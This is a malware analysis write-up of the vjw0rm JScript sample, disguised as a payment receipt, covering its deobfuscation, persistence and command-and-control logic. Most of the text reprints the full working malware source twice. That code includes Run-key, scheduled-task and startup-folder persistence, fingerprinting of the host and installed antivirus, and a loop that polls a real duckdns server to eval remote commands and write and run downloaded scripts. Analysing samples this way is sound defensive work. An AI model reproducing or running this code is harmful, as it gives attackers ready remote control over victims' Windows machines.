INFO | |
---|---|
Suspected | worm |
First detection | 2021-10-29 17:54:40 |
Country | ![]() |
File Type | js |
File name | Dranreb_Payment_Receipt |
Affected Platform | Windows |
Distributed via | N/D |
Tag |
HASH | |
---|---|
sha256 | 8d745015b19835c58b6cc5e9a37df00f86ee6fbbc14ee3557409d4bdfd89da3f |
md5 | c564d2a0035391aff717e59dd955642a |
sha1 | 4f694e49f05d41a2a2160d5f1709908bd6ccef29 |
Author: @Grizzly
Original malware here MalwareBazaar.
Deobfuscation
Opening the file looks obvious that the code is obfuscated.
We have a giant string with a recursive pattern and at the end of the file there’s this:
lsftnxmrsx.sub();
lsftnxmrsx = lsftnxmrsx.split("____|$|____").join("");
lsftnxmrsx = lsftnxmrsx.split("#!!!!#").join("");
eval(lsftnxmrsx);
They recompose the string and eval it.
Part of the string:
var lsftnxmrsx
lsftnxmrsx = ["// C#!!!!#o____|$|____#!!!!#d____|$|____#!!!!#e____|$|____#!!!!#d____|$|____ #!!!!#b____|$|____y v_B#!!!!#0____|$|____#!!!!#1____|$|____ | S#!!!!#l____|$|____#!!!!#i____|$|____#!!!!#e____|$|____#!!!!#m____|$|____#!!!!#e____|$|____#!!!!#r____|$|____#!!!!#e____|$|____z #!!!!#-____|$|____>
Throwing that string into a python-dictionary variable, splitting and joining for the first pattern:
first_string = "".join(first_string)
first_splitted = first_string.split("____|$|____")
second_string = "".join(first_splitted)
#print(second_string)
and doing the same for the second pattern:
second_splitted = second_string.split("#!!!!#")
final_js = "".join(second_splitted)
print(final_js)
will return us the deobfuscated code.
Beautify it and then we can proceed with the analysis.
# Analysis
You can check out the original code here and the one with all the variable renamed here
First thing first let’s rename the main variable with something more significative than y, j, sh or U.
From now on all the code snippets are going to be written as my final revision, with proper variable names, hardcoded values, and function results.
var windows_scripting = ['WScript.Shell', 'Scripting.FileSystemObject', 'Shell.Application', 'Microsoft.XMLHTTP'];
var windows_registry_list = ['HKCU', 'HKLM', 'HKCU\\vjw0rm', '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\', 'HKLM\\SOFTWARE\\Classes\\', 'REG_SZ', '\\defaulticon\\'];
var windows_stuff_list = ['winmgmts:', 'win32_logicaldisk', 'Win32_OperatingSystem', 'AntiVirusProduct'];
//wscript can execute script in various language
var shell_element = ActiveXObject('WScript.Shell');
//FileSystemObject can create new files and access existing ones.
var scripting_FileSystemObject = ActiveXObject('Scripting.FileSystemObject');
//use Ob(6) and get the serial number of the device
//var worm_name = 'vjw0rm'+ '_' + Ob(6);
var worm_name = 'vjw0rm_' + "AAAAAAA";
var script_full_path = WScript.ScriptFullName;
var script_name = WScript.ScriptName;
var support_var; //used for various reason
The rest of code can be split in 3 main part.
Already been here?
The virus starts with a “Try Catch” block where the only condition in the “Try” statement is the following:
support_var = shell_element.RegRead('HKCU\\vjw0rm');
It tries to read a windows register called vjw0rm
:[+]
If the command is successful it means that the machine has already been infected and it moves on
[+]
If it didn’t it write its own register with the boolean value of the question:
is my code in the “C:\\” folder?
And set the support_var variable to that result.
Catch block pseduocode:
if (<second folder of full_path> == <scriptname>)
Then the code is there u= true
else
nope, u=false
write a register called vjw0rm under the
HKEY_CURRENT_USER registry folder with the value of U
Actual code:
var sv = script_full_path.split('\\');
if (':\\' + sv[1] == ':\\' + script_name) {
U = 'TRUE';
shell_element.RegWrite('HKCU\\vjw0rm', U, 'REG_SZ');
} else {
U = 'FALSE';
shell_element.RegWrite('HKCU\\vjw0rm', U, 'REG_SZ');
}

Grant persistency
After that the function Ns( ) is called and its only objective is to grant persistent access to the machine multiplying itself in different locations and this is accomplished with a simple list of “Try Catch” blocks, whose functions are:
[+]
copy the file from its base path to the %TEMP% path
c:\Users\username\Appdata\Local\Temp
[+]
write a new windows register BB4HJP0E1C
under
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
window with the %TEMP% path as value.
Every file under this set gets automatically executed in the booting phase. This set of register doesn’t need admin privilege because it’s the HKC(urrent)U(ser)
register.
![[windows-second-register.png]]
[+]
create a scheduled task for every 30th day of the month
(/create /sc minute /mo 30
), name it as Skype (/tn Skype
) and pass him the TEMP_PATH (/tr + temp_path
)
Schtasks /create /sc minute /mo 30 /tn Skype /tr <TEMP_PATH>
[+]
create a copy of the malware in the autorun folder (code example)
Command Controller
The third and core phase of this malware start here with a IF statement sequence that request commands at the server and run the right set of commands.
This sequence is placed (obviously) in a while(True)
statement with a 7sec delay after each iteration.
The commands are retrieved as follows:
var P = Pt('Vre', '');
P = P.split('|V|');
Where Pt() is the response of a POST request to the master webserver.
While no being able to get any useful response from the server, (not even running the sample of malware), we can still extrapolate from the source code what the response structure is supposed to be
<typeofcommand>|V|<content>|V|<possible_new_name>
Ex|V|echo "AAAAAAAA"|V|newfile.ps1
And using the P vector as follow:
typeofcommand = P[0];
content = P[1];
new_name = P[2];
Following there’s the command list, the full code
- Cl: quit
> Quit the script, end the execution. - Sc: create script
Create and run script in the temp directory with $new_name
value as file name and the value of $content
as content of the file .
- Ex: execute command
Directly run with eval the commands in$content
- Rn: rename
Read the content of itself, replace all the occurrences of the script_name with$content
, overwrite its content with the new name and start the new script quitting the current session.
It does not rename the file but the first part of the virus “internal” name, probably for a version check.
As you can see the worm_name variable in the code is now “BANANA” instead of “vjw0rm”. (example code) - Up: update the splitter for the command
create a file with the name of$new_name
and the content of$content
replacing all the occurrences of “|U|” with “|V|” probably for avoiding some known detection from classic rules of tools like YARA - Un:
receive and execute (and quit the current session) a command obfuscated using %\ as placeholder replaced once the code have been retrieved and successfully passed the “antivirus” scanning from the OS.
- Rf: Equal to Sc
In conclusion we can say that this is a simple C2C (command-to-control) script for windows platform and it’s middle-stage payload, not a worm, it needs to be carried around in some way and once dropped allow in more dangerous things but by itself is not that big of a deal.
Code
PythonDeob
first_string = [ <content of the js giant string> ]
first_string = "".join(first_string)
first_splitted = first_string.split("____|$|____")
second_string = "".join(first_splitted)
second_splitted = second_string.split("#!!!!#")
final_js = "".join(second_splitted)
print(final_js)
Registry
You can run this code and see how the register appears in the regedit menu
var shell_element =new ActiveXObject('WScript.Shell');
var U = 'TRUE';
shell_element.RegWrite('HKCU\\IMMALWARE', U, 'REG_SZ');
Ns
//Ex function explained later
//var dr = Ex('TEMP') + '\\' + script_name; //Original
//dr contains the worms path in the temp directory
var dr = '%TEMP%\' + script_name;
try {
scripting_FileSystemObject.CopyFile(script_full_path, dr, true);
} catch (err) {}
try {
shell_element.RegWrite('HKCU' + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\' + 'BB4HJP0E1C', '\'' + dr + '\'', 'REG_SZ');
} catch (err) {}
try {
shell_element.run('Schtasks /create /sc minute /mo 30 /tn Skype /tr \'' + dr, false);
} catch (err) {}
try {
var ap = new ActiveXObject('Shell.Application');
scripting_FileSystemObject.CopyFile(script_full_path, ap.NameSpace(7).Self.Path + '\\' + script_name, true);
} catch (err) {}
Ex
var script_name="worms";
var shell_element = new ActiveXObject('WScript.Shell');
var S = "TEMP";
//Ex return value with "%" appended and prepended
var lol = shell_element.ExpandEnvironmentStrings('%'+S+'%');
var dr = lol + '\\' + script_name;
WScript.Echo(lol);
//c:\Users\<username>\Appdata\Local\Temp\worms
Autoboot
var script_name="worms";
var ap = new ActiveXObject('Shell.Application');
var bonk = ap.NameSpace(7).Self.Path + '\\' + script_name;
WScript.Echo(bonk);
//c:\Users\dead\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\worms
Pt
var X = Cr(3);//X = Microsoft.XMLHTTP element
X.open('POST', 'http://6200js.duckdns.org:6200/' + C, false);
X.SetRequestHeader('User-Agent:', nf());
X.send(A);
return X.responsetext;
MainController
if (P[0] === 'Cl') {
WScript.Quit(1);
}
if (P[0] === 'Sc') {
var s2 = Ex('temp') + '\\' + P[2];
var fi = file_access_shell.CreateTextFile(s2, true);
fi.Write(P[1]);
fi.Close();
std_shell.run(s2);
}
if (P[0] === 'Ex') {
eval(P[1]);
}
if (P[0] === 'Rn') {
var ri = file_access_shell.OpenTextFile(script_full_path, 1);
var fr = ri.ReadAll();
ri.Close();
worm_name = worm_name.split('_');
fr = fr.replace(worm_name[0], P[1]);
var wi = file_access_shell.OpenTextFile(script_full_path, 2, false);
wi.Write(fr);
wi.Close();
std_shell.run('wscript.exe //B \'' + script_full_path + '\'');
WScript.Quit(1);
}
if (P[0] === 'Up') {
var s2 = Ex('temp') + '\\' + P[2];
var ctf = file_access_shell.CreateTextFile(s2, true);
var gu = P[1];
gu = gu.replace('|U|', '|V|');
ctf.Write(gu);
ctf.Close();
std_shell.run('wscript.exe //B \'' + s2 + '\'', 6);
WScript.Quit(1);
}
if (P[0] === 'Un') {
var s2 = P[1];
var vdr = Ex('Temp') + '\\' + script_name;
var regi = 'BB4HJP0E1C';
s2 = s2.replace('%f', script_full_path).replace('%n', script_name).replace('%sfdr', vdr).replace('%RgNe%', regi);
eval(s2);
WScript.Quit(1);
}
if (P[0] === 'RF') {
var s2 = Ex('temp') + '\\' + P[2];
var fi = file_access_shell.CreateTextFile(s2, true);
fi.Write(P[1]);
fi.Close();
std_shell.run(s2);
}
Rename
//example
var worm_name="vjw0rm_"+ "initialMalwareName";
var script_full_path = WScript.ScriptFullName;
var script_name = WScript.ScriptName;
var file_access_shell = new ActiveXObject('Scripting.FileSystemObject');
var ri = file_access_shell.OpenTextFile(script_full_path, 1);
var fr = ri.ReadAll();
ri.Close();
worm_name = worm_name.split('_');
fr = fr.replace(worm_name[0], "BANANA");
var wi = file_access_shell.OpenTextFile(script_full_path, 2, false);
wi.Write(fr);
wi.Close();
WScript.Echo(script_full_path);
//original code
var ri = file_access_shell.OpenTextFile(script_full_path, 1);
var fr = ri.ReadAll();
ri.Close();
worm_name = worm_name.split('_');
fr = fr.replace(worm_name[0], P[1]);
var wi = file_access_shell.OpenTextFile(script_full_path, 2, false);
wi.Write(fr);
wi.Close();
std_shell.run('wscript.exe //B \'' + script_full_path + '\'');
WScript.Quit(1);
Deobfuscated
This is the base js before the obfuscation process
var j = ['WScript.Shell', 'Scripting.FileSystemObject', 'Shell.Application', 'Microsoft.XMLHTTP'];
var g = ['HKCU', 'HKLM', 'HKCU\\vjw0rm', '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\', 'HKLM\\SOFTWARE\\Classes\\', 'REG_SZ', '\\defaulticon\\'];
var y = ['winmgmts:', 'win32_logicaldisk', 'Win32_OperatingSystem', 'AntiVirusProduct'];
var sh = Cr(0);
var fs = Cr(1);
var spl = '|V|';
var Ch = '\\';
var VN = 'vjw0rm' + '_' + Ob(6);
var fu = WScript.ScriptFullName;
var wn = WScript.ScriptName;
var U;
try {
U = sh.RegRead(g[2]);
} catch (err) {
var sv = fu.split('\\');
if (':\\' + sv[1] == ':\\' + wn) {
U = 'TRUE';
sh.RegWrite(g[2], U, g[5]);
} else {
U = 'FALSE';
sh.RegWrite(g[2], U, g[5]);
}
}
Ns();
do {
try {
var P = Pt('Vre', '');
P = P.split(spl);
if (P[0] === 'Cl') {
WScript.Quit(1);
}
if (P[0] === 'Sc') {
var s2 = Ex('temp') + '\\' + P[2];
var fi = fs.CreateTextFile(s2, true);
fi.Write(P[1]);
fi.Close();
sh.run(s2);
}
if (P[0] === 'Ex') {
eval(P[1]);
}
if (P[0] === 'Rn') {
var ri = fs.OpenTextFile(fu, 1);
var fr = ri.ReadAll();
ri.Close();
VN = VN.split('_');
fr = fr.replace(VN[0], P[1]);
var wi = fs.OpenTextFile(fu, 2, false);
wi.Write(fr);
wi.Close();
sh.run('wscript.exe / / B\ '
' + fu + '\
'');
WScript.Quit(1);
}
if (P[0] === 'Up') {
var s2 = Ex('temp') + '\\' + P[2];
var ctf = fs.CreateTextFile(s2, true);
var gu = P[1];
gu = gu.replace('|U|', '|V|');
ctf.Write(gu);
ctf.Close();
sh.run('wscript.exe //B \'' + s2 + '\'', 6);
WScript.Quit(1);
}
if (P[0] === 'Un') {
var s2 = P[1];
var vdr = Ex('Temp') + Ch + wn;
var regi = 'BB4HJP0E1C';
s2 = s2.replace('%f', fu).replace('%n', wn).replace('%sfdr', vdr).replace('%RgNe%', regi);
eval(s2);
WScript.Quit(1);
}
if (P[0] === 'RF') {
var s2 = Ex('temp') + '\\' + P[2];
var fi = fs.CreateTextFile(s2, true);
fi.Write(P[1]);
fi.Close();
sh.run(s2);
}
} catch (err) {}
WScript.Sleep(7000);
}
while (true);
function Ex(S) {
return sh.ExpandEnvironmentStrings('%' + S + '%');
}
function Pt(C, A) {
var X = Cr(3);
X.open('POST', 'http://6200js.duckdns.org:6200/' + C, false);
X.SetRequestHeader('User-Agent:', nf());
X.send(A);
return X.responsetext;
}
function nf() {
var s, NT, i;
if (fs.fileexists(Ex('Windir') + '\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe')) {
NT = 'YES';
} else {
NT = 'NO';
}
s = VN + Ch + Ex('COMPUTERNAME') + Ch + Ex('USERNAME') + Ch + Ob(2) + Ch + Ob(4) + Ch + Ch + NT + Ch + U + Ch;
return s;
}
function Cr(N) {
return new ActiveXObject(j[N]);
}
function Ob(N) {
var s;
if (N == 2) {
s = GetObject(y[0]).InstancesOf(y[2]);
var en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
var it = en.item();
return it.Caption;
break;
}
}
if (N == 4) {
var wmg = 'winmgmts:\\\\localhost\\root\\securitycenter';
s = GetObject(wmg).InstancesOf(y[3]);
var en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
var it = en.item();
var str = it.DisplayName;
}
if (str !== '') {
wmg = wmg + '2';
s = GetObject(wmg).InstancesOf(y[3]);
en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
it = en.item();
return it.DisplayName;
}
} else {
return it.DisplayName;
}
}
if (N == 6) {
s = GetObject(y[0]).InstancesOf(y[1]);
var en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
var it = en.item();
return it.volumeserialnumber;
break;
}
}
}
function Ns() {
var dr = Ex('TEMP') + Ch + wn;
try {
fs.CopyFile(fu, dr, true);
} catch (err) {}
try {
sh.RegWrite(g[0] + g[3] + 'BB4HJP0E1C', '\'' + dr + '\'', g[5]);
} catch (err) {}
try {
sh.run('Schtasks /create /sc minute /mo 30 /tn Skype /tr \'' + dr, false);
} catch (err) {}
try {
var ap = Cr(2);
fs.CopyFile(fu, ap.NameSpace(7).Self.Path + '\\' + wn, true);
} catch (err) {}
}
FinalCode
This is the FINAL js deobfuscated code with renamed variable
var windows_scripting = ['WScript.Shell', 'Scripting.FileSystemObject', 'Shell.Application', 'Microsoft.XMLHTTP'];
var windows_registry_list = ['HKCU', 'HKLM', 'HKCU\\vjw0rm', '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\', 'HKLM\\SOFTWARE\\Classes\\', 'REG_SZ', '\\defaulticon\\'];
var windows_stuff_list = ['winmgmts:', 'win32_logicaldisk', 'Win32_OperatingSystem', 'AntiVirusProduct'];
//wscaipt can execute script in various lenguage
var std_shell = new ActiveXObject('WScript.Shell');
//It create new files and access existing ones
var file_access_shell = new ActiveXObject('Scripting.FileSystemObject');
//use read_PC_info(6) and get the serial number of the device //use read_PC_info(6) and get the serial number of the device
var worm_name = 'vjw0rm_' + "AAAAAAA";//var worm_name = 'vjw0rm'+ '_' + read_PC_info(6);
var script_full_path = WScript.ScriptFullName;
var script_name = WScript.ScriptName;
var support_var; //used for various reason
try {//check if vjw0rm registry exists, it's already been here
support_var = std_shell.RegRead('HKCU\\vjw0rm');
} catch (err) {//if the file is saved in c:\\file than true and save the register with TRUE value
var sv = script_full_path.split('\\');
if (':\\' + sv[1] == ':\\' + script_name) {
support_var = 'TRUE';
std_shell.RegWrite('HKCU\\vjw0rm', support_var, 'REG_SZ');
} else {
support_var = 'FALSE';
std_shell.RegWrite('HKCU\\vjw0rm', support_var, 'REG_SZ');
}
}
persistency();
do {
try {
var remote_command = get_server_command('Vre', '');
remote_command = remote_command.split('|V|');
if (remote_command[0] === 'Cl') {
WScript.Quit(1);
}
if (remote_command[0] === 'Sc') {
var s2 = create_Temp_path('temp') + '\\' + remote_command[2];
var fi = file_access_shell.CreateTextFile(s2, true);
fi.Write(remote_command[1]);
fi.Close();
std_shell.run(s2);
}
if (remote_command[0] === 'Ex') {
eval(remote_command[1]);
}
if (remote_command[0] === 'Rn') {
var ri = file_access_shell.OpenTextFile(script_full_path, 1);
var fr = ri.ReadAll();
ri.Close();
worm_name = worm_name.split('_');
fr = fr.replace(worm_name[0], remote_command[1]);
var wi = file_access_shell.OpenTextFile(script_full_path, 2, false);
wi.Write(fr);
wi.Close();
std_shell.run('wscript.exe //B \'' + script_full_path + '\'');
WScript.Quit(1);
}
if (remote_command[0] === 'Up') {
var s2 = create_Temp_path('temp') + '\\' + remote_command[2];
var ctf = file_access_shell.CreateTextFile(s2, true);
var gu = remote_command[1];
gu = gu.replace('|U|', '|V|');
ctf.Write(gu);
ctf.Close();
std_shell.run('wscript.exe //B \'' + s2 + '\'', 6);
WScript.Quit(1);
}
if (remote_command[0] === 'Un') {
var s2 = remote_command[1];
var vdr = create_Temp_path('Temp') + '\\' + script_name;
var regi = 'BB4HJP0E1C';
s2 = s2.replace('%f', script_full_path).replace('%n', script_name).replace('%sfdr', vdr).replace('%RgNe%', regi);
eval(s2);
WScript.Quit(1);
}
if (remote_command[0] === 'RF') {
var s2 = create_Temp_path('temp') + '\\' + remote_command[2];
var fi = file_access_shell.CreateTextFile(s2, true);
fi.Write(remote_command[1]);
fi.Close();
std_shell.run(s2);
}
} catch (err) {}
WScript.Sleep(7000);
} while (true);
function create_Temp_path(S) {
return std_shell.ExpandEnvironmentStrings('%' + S + '%');
}
function get_server_command(C, A) {
var X = create_Win_obj(3);
X.open('POST', 'http://6200js.duckdns.org:6200/' + C, false);
X.SetRequestHeader('User-Agent:', create_post_data());
X.send(A);
return X.responsetext;
}
function create_post_data() {
var s, NT, i;
if (file_access_shell.fileexists(create_Temp_path('Windir') + '\\Microsoft.NET\\Framework\\v2.0.50727\\vbc.exe')) {
NT = 'YES';
} else {
NT = 'NO';
}
s = worm_name + '\\' + create_Temp_path('COMPUTERNAME') + '\\' + create_Temp_path('USERNAME') + '\\' + read_PC_info(2) + '\\' + read_PC_info(4) + '\\' + '\\' + NT + '\\' + support_var + '\\';
return s;
}
//return which scripting app have to be used
function create_Win_obj(N) {
return new ActiveXObject(windows_scripting[N]);
}
//which windows service use
function read_PC_info(N) {
var s;
if (N == 2) {
s = GetObject(windows_stuff_list[0]).InstancesOf(windows_stuff_list[2]);
var en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
var it = en.item();
return it.Caption;
break;
}
}
if (N == 4) {
var wmg = 'winmgmts:\\\\localhost\\root\\securitycenter';
s = GetObject(wmg).InstancesOf(windows_stuff_list[3]);
var en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
var it = en.item();
var str = it.DisplayName;
}
if (str !== '') {
wmg = wmg + '2';
s = GetObject(wmg).InstancesOf(windows_stuff_list[3]);
en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
it = en.item();
return it.DisplayName;
}
} else {
return it.DisplayName;
}
}
if (N == 6) {
s = GetObwindows_scriptingect(windows_stuff_list[0]).InstancesOf(windows_stuff_list[1]);
var en = new Enumerator(s);
for (; !en.atEnd(); en.moveNext()) {
var it = en.item();
return it.volumeserialnumber;
break;
}
}
}
//persistency code
function persistency() {
var temp_path = create_Temp_path('TEMP') + '\\' + script_name;
try {
file_access_shell.CopyFile(script_full_path, temp_path, true);
} catch (err) {}
try {
std_shell.RegWrite('HKCU' + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\' + 'BB4HJP0E1C', '\'' + temp_path + '\'', 'REG_SZ');
} catch (err) {}
try {
std_shell.run('Schtasks /create /sc minute /mo 30 /tn Skype /tr \'' + temp_path, false);
} catch (err) {}
try {
var ap = new ActiveXObject('Shell.Application');
file_access_shell.CopyFile(script_full_path, ap.NameSpace(7).Self.Path + '\\' + script_name, true);
} catch (err) {}
}